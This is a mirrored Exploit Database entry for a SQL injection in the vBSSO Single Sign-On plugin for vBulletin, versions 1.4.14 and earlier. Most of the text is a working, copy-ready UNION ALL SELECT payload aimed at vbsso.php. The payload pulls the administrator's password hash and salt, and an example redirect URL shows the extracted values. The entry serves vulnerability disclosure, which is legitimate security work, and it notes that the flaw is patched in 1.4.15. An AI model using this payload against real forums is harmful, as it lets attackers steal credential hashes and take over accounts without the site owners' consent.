vBulletin vBSSO Single Sign-On 1.4.14 – SQL Injection

• Exploit Database
• 36 阅读

• 作者： Technidev
  日期： 2015-01-20
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/35860/

• # Exploit Title: vBulletin vBSSO Single Sign-On – <= 1.4.14 – SQL Injection
  # Date: January 20, 2015
  # Exploit Author: Technidev (https://technidev.com)
  # Vendor Homepage: https://vbulletin.com
  # Software Link: http://www.vbulletin.org/forum/showthread.php?t=270517
  # Version: <= 1.4.14, patched in >= 1.4.15
  
  This plugin is vulnerable to SQL injection at the /vbsso/avatar.php file 
  in the fetchUserinfo function.
  It requires a big UNION ALL SELECT query and commenting out the LIMIT 
  function of SQL. If SQL injection is a success, the browser will 
  redirect the user to a URL where the URL contains the extracted information.
  
  To exploit this, you need to execute a rather large UNION ALL SELECT 
  query like this:
  http://example.com/vbsso/vbsso.php?a=act&do=avatar&id=' or user.userid = 
  1 UNION ALL SELECT userfield.*, usertextfield.*, user.*, 
  usergroup.genericpermissions, UNIX_TIMESTAMP(passworddate) AS 
  passworddate, IF(displaygroupid=0, user.usergroupid, displaygroupid) AS 
  displaygroupid, concat(user.password, 0x3a, user.salt) AS avatarpath, 
  NOT ISNULL(customavatar.userid) AS hascustomavatar, 
  customavatar.dateline AS avatardateline, customavatar.width AS avwidth, 
  customavatar.height AS avheight, customavatar.height_thumb AS 
  avheight_thumb, customavatar.width_thumb AS avwidth_thumb, 
  customavatar.filedata_thumb FROM user AS user LEFT JOIN userfield AS 
  userfield ON (user.userid = userfield.userid) LEFT JOIN usergroup AS 
  usergroup ON (usergroup.usergroupid = user.usergroupid) LEFT JOIN 
  usertextfield AS usertextfield ON (usertextfield.userid = user.userid) 
  LEFT JOIN avatar AS avatar ON (avatar.avatarid = user.avatarid) LEFT 
  JOIN customavatar AS customavatar ON (customavatar.userid = user.userid) 
  WHERE user.userid = 1 ORDER BY avatarpath DESC%23
  
  For example, by visiting this URL on a vulnerable forum, you will be 
  redirected to 
  http://example.com/9d0d647f535a4c1f493eabf3d69ca89a:nO^sh9;TVNxGJ”X’+3cYkq9Z4Cd3WS 
  which obviously contains the hash and salt of userid 1.